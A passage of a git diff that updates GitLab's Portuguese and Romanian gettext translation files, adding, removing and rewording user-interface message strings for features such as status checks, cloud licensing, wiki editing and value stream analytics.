msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr "Mostrar descrição do envio"
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr "Último Contacto"
msgid "SortOptions|Last created"
msgstr "Último criado"
-msgid "SortOptions|Last joined"
-msgstr "Última conexão"
-
msgid "SortOptions|Last updated"
msgstr "Última atualização"
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr "Página URL de suporte"
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "A fase de codificação mostra a hora do primeiro envio para criar o pedido de mesclagem. Os dados serão adicionados, automaticamente,, assim que criares o teu primeiro pedido de mesclagem."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "A etapa do problema mostra o tempo necessário para criar um problema para atribuir o problema a um objetivo ou adicionar o problema a uma lista no teu Painel de Problemas. Começa a criar problemas para ver os dados desta etapa."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "A fase de revisão mostra a hora do primeiro envio para criar o envio de mesclagem. Os dados serão adicionados, automaticamente,, assim que criares o teu primeiro pedido de mesclagem."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,11 +32562,11 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "A fase de preparação mostra o tempo entre a mesclagem do PM e a implementação do código no ambiente de produção. Os dados serão adicionados, automaticamente, quando implantares na produção pela primeira vez."
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr "Acompanhar grupos de problemas que compartilham um tema, através de projetos e objetivos"
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr "permissão para falhar"
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ro_RO/gitlab.po b/locale/ro_RO/gitlab.po
index 0d4d489a0de..3b9c85ed77a 100644
--- a/locale/ro_RO/gitlab.po
+++ b/locale/ro_RO/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ro\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:17\n"
+"PO-Revision-Date: 2021-07-01 20:58\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -91,6 +88,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -304,12 +304,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -484,6 +478,27 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
